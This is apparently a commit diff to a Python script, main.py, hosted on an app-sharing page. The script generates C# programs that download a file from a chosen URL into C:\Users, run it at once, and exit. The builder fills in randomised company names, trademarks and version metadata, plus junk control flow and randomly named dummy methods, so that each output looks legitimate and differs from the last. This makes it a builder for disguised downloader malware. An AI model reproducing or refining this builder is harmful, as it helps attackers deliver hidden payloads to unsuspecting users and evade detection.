Spaces:
Paused
Paused
Update main.py
Browse files
main.py
CHANGED
@@ -18,16 +18,16 @@ using System.Net.Http;
|
|
18 |
using System.Reflection;
|
19 |
using System.Threading.Tasks;
|
20 |
|
21 |
-
[assembly: AssemblyTitle("
|
22 |
-
[assembly: AssemblyDescription("
|
23 |
-
[assembly: AssemblyConfiguration("
|
24 |
-
[assembly: AssemblyCompany("
|
25 |
-
[assembly: AssemblyProduct("
|
26 |
-
[assembly: AssemblyCopyright("
|
27 |
-
[assembly: AssemblyTrademark("
|
28 |
-
[assembly: AssemblyVersion("
|
29 |
-
[assembly: AssemblyFileVersion("
|
30 |
-
[assembly: AssemblyInformationalVersion("
|
31 |
|
32 |
class Program
|
33 |
{
|
@@ -39,9 +39,9 @@ class Program
|
|
39 |
|
40 |
static async Task MainAsync()
|
41 |
{
|
42 |
-
string downloadUrl = "
|
43 |
string destinationFolder = @"C:\\Users";
|
44 |
-
string destinationFilePath = Path.Combine(destinationFolder, "
|
45 |
|
46 |
// Download the file
|
47 |
bool downloadSuccess = await DownloadFileAsync(downloadUrl, destinationFilePath);
|
@@ -49,7 +49,7 @@ class Program
|
|
49 |
// If the file was downloaded successfully, execute it and exit
|
50 |
if (downloadSuccess && File.Exists(destinationFilePath))
|
51 |
{
|
52 |
-
Process.Start(new ProcessStartInfo(destinationFilePath) { UseShellExecute = true });
|
53 |
Environment.Exit(0); // Exit immediately after starting the process
|
54 |
}
|
55 |
}
|
@@ -70,7 +70,7 @@ class Program
|
|
70 |
}
|
71 |
}
|
72 |
}
|
73 |
-
|
74 |
}
|
75 |
"""
|
76 |
|
@@ -92,10 +92,10 @@ trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empow
|
|
92 |
|
93 |
def generate_control_flow_junk():
|
94 |
conditions = [
|
95 |
-
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
|
96 |
-
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
|
97 |
-
"if (false) { Console.WriteLine(\"This will never happen\"); }",
|
98 |
-
"while (false) { break; }"
|
99 |
]
|
100 |
return random.choice(conditions)
|
101 |
|
@@ -104,7 +104,7 @@ def generate_obfuscated_methods():
|
|
104 |
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
|
105 |
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
|
106 |
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
|
107 |
-
f'string {random_string(6)}() {{ return "{random_string(12)}
|
108 |
]
|
109 |
return "\n ".join(random.sample(methods, k=2))
|
110 |
|
@@ -150,21 +150,23 @@ def finish():
|
|
150 |
}
|
151 |
|
152 |
# Replace placeholders in the base template
|
153 |
-
modified_cs = base_cs_template.
|
154 |
-
|
155 |
-
|
156 |
-
|
157 |
-
|
158 |
-
|
159 |
-
|
160 |
-
|
161 |
-
|
162 |
-
|
163 |
-
|
164 |
-
|
165 |
-
|
166 |
-
|
167 |
-
|
|
|
|
|
168 |
|
169 |
# Generate random file names
|
170 |
script_path = random_string(10) + '.cs'
|
|
|
18 |
using System.Reflection;
|
19 |
using System.Threading.Tasks;
|
20 |
|
21 |
+
[assembly: AssemblyTitle("{title}")]
|
22 |
+
[assembly: AssemblyDescription("{description}")]
|
23 |
+
[assembly: AssemblyConfiguration("{configuration}")]
|
24 |
+
[assembly: AssemblyCompany("{company}")]
|
25 |
+
[assembly: AssemblyProduct("{product}")]
|
26 |
+
[assembly: AssemblyCopyright("{copyright}")]
|
27 |
+
[assembly: AssemblyTrademark("{trademark}")]
|
28 |
+
[assembly: AssemblyVersion("{version}")]
|
29 |
+
[assembly: AssemblyFileVersion("{file_version}")]
|
30 |
+
[assembly: AssemblyInformationalVersion("{informational_version}")]
|
31 |
|
32 |
class Program
|
33 |
{
|
|
|
39 |
|
40 |
static async Task MainAsync()
|
41 |
{
|
42 |
+
string downloadUrl = "{download_url}";
|
43 |
string destinationFolder = @"C:\\Users";
|
44 |
+
string destinationFilePath = Path.Combine(destinationFolder, "{file_name}");
|
45 |
|
46 |
// Download the file
|
47 |
bool downloadSuccess = await DownloadFileAsync(downloadUrl, destinationFilePath);
|
|
|
49 |
// If the file was downloaded successfully, execute it and exit
|
50 |
if (downloadSuccess && File.Exists(destinationFilePath))
|
51 |
{
|
52 |
+
Process.Start(new ProcessStartInfo(destinationFilePath) {{ UseShellExecute = true }});
|
53 |
Environment.Exit(0); // Exit immediately after starting the process
|
54 |
}
|
55 |
}
|
|
|
70 |
}
|
71 |
}
|
72 |
}
|
73 |
+
{obfuscated_methods}
|
74 |
}
|
75 |
"""
|
76 |
|
|
|
92 |
|
93 |
def generate_control_flow_junk():
|
94 |
conditions = [
|
95 |
+
"if (DateTime.Now.Day % 2 == 0) {{ Console.WriteLine(\"Even day\"); }}",
|
96 |
+
"for (int i = 0; i < 1; i++) {{ Console.WriteLine(\"Loop once\"); }}",
|
97 |
+
"if (false) {{ Console.WriteLine(\"This will never happen\"); }}",
|
98 |
+
"while (false) {{ break; }}"
|
99 |
]
|
100 |
return random.choice(conditions)
|
101 |
|
|
|
104 |
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
|
105 |
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
|
106 |
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
|
107 |
+
f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
|
108 |
]
|
109 |
return "\n ".join(random.sample(methods, k=2))
|
110 |
|
|
|
150 |
}
|
151 |
|
152 |
# Replace placeholders in the base template
|
153 |
+
modified_cs = base_cs_template.format(
|
154 |
+
title=assembly_info['title'],
|
155 |
+
description=assembly_info['description'],
|
156 |
+
configuration=assembly_info['configuration'],
|
157 |
+
company=assembly_info['company'],
|
158 |
+
product=assembly_info['product'],
|
159 |
+
copyright=assembly_info['copyright'],
|
160 |
+
trademark=assembly_info['trademark'],
|
161 |
+
version=assembly_info['version'],
|
162 |
+
file_version=assembly_info['file_version'],
|
163 |
+
informational_version=assembly_info['informational_version'],
|
164 |
+
download_url=download_url,
|
165 |
+
file_name=file_name,
|
166 |
+
control_flow_junk=generate_control_flow_junk(),
|
167 |
+
additional_obfuscated_code=generate_additional_obfuscated_code(),
|
168 |
+
obfuscated_methods=generate_obfuscated_methods()
|
169 |
+
)
|
170 |
|
171 |
# Generate random file names
|
172 |
script_path = random_string(10) + '.cs'
|